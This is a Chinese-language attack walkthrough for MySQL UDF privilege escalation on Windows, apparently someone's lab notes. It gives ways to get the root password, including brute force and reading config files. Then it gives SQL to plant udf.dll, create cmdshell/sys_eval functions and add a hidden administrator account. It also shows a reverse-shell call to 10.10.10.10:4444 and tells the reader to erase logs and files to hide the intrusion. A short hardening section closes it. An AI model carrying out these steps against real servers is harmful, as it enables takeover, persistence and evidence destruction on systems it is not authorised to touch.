0x00:简介
- 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的libplugin文件夹下/
- 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:windowssystem32目录,在windows server 2000下放置在c:winntsystem32目录。
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
- 拥有可以将udf.dll写入相应目录的权限。
提权原理:
通过root权限,导入udf.dll到系统目录下,可以通过udf.dll调用执行cmd
参考链接:
https://bbs.ichunqiu.com/thread-39697-1-1.html (这个比较详细)
https://www.jianshu.com/p/5b34c1b6dee7
https://www.freebuf.com/articles/system/163144.html
https://www.cnblogs.com/R4v3n/articles/8722657.html
0x01:提权方法
要求:
1.目标系统是Windows(Win2000,XP,Win2003);
window server 2000 C:winntudf.dll
window server 2003 C:windowsudf.dll
2.可以将udf.dll写入到相应目录的权限。
3.掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。
获取到对方的mysql数据库下的root账号密码方法
1. 查看网站源码里面数据库配置文件(inc,conn,config,common,data等)
2. 查看数据库安装路径下的user.myd(/data/mysql/)
3. 暴力破解mysql密码,破解3306端口入侵
目的:
(1)导入udf.dll。MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数 可以再mysql里输入select @@basedir;show variables like ‘%plugins%’ 寻找mysql安装路径
(2)创建函数
create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
(3)执行系统命令提权
select sys_eval(‘whoami’);
net user 123 123 /add
net localgroup administrators 123
net user 123 123 /del
(4)清除痕迹
drop function cmdshell;// 将函数删除
删除udf.dll文件以及其它相关入侵文件及日志
0x02:实际操作
###先拿sql-labs测试一下,系统:windows xp###
(1)获取数据库版本、数据位置以及插件位置等信息
- select version();//获取数据库版本
- select user();//获取数据库用户
- select @@basedir ;//获取安装目录
- show variables like '%plugins%'; //寻找mysql安装路径
- select @@plugin_dir;
一般 plugins目录 在 安装目录/lib/plugins
如果没有lib/plugin目录的话
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
执行成功以后就会plugin目录,然后再进行导出udf.dll即可。
总结
有webshell的提权:
直接 上传udf马儿
没有webshell的情况下提权
先获取mysql的各种信息,获取mysql版本,安装路径,/lib/plugin 的路径
之后通过查询将udf.dll转成代码插入数据库
use mysql;
set @a=concat('',0x代码);
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
代码为select hex(load_file('c:/udf.dll'))中的内容
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //导出ufd.dll
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//创建函数
select backshell("10.10.10.10",4444);
拷贝别人的靶场环境,又双被弄出问题了,wamp一直是红色的,懒得弄了,待会自己搭建一个
******
1.目标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数 可以再mysql里输入select @@basedirshow variables like ‘%plugins%’ 寻找mysql安装路径 提权:
使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。
*******
常见错误:
- #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
- SHOW VARIABLES LIKE "secure_file_priv"
在my.ini 或者mysql.cnf 文件中注销 (使用#号) 包含secure_file_priv的行。
1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将my.ini中的skip-grant-tables选项去掉。
cmdshell不再library中,可以换一个函数,例如sys_exec
0x03:防范方法
尽量避免提供对外链接,通过mysql中的user表进行查看,禁用"%"。
设置复杂的Root账号密码。
对my.ini设置只读属性,设置plugin目录为只读目录。
finished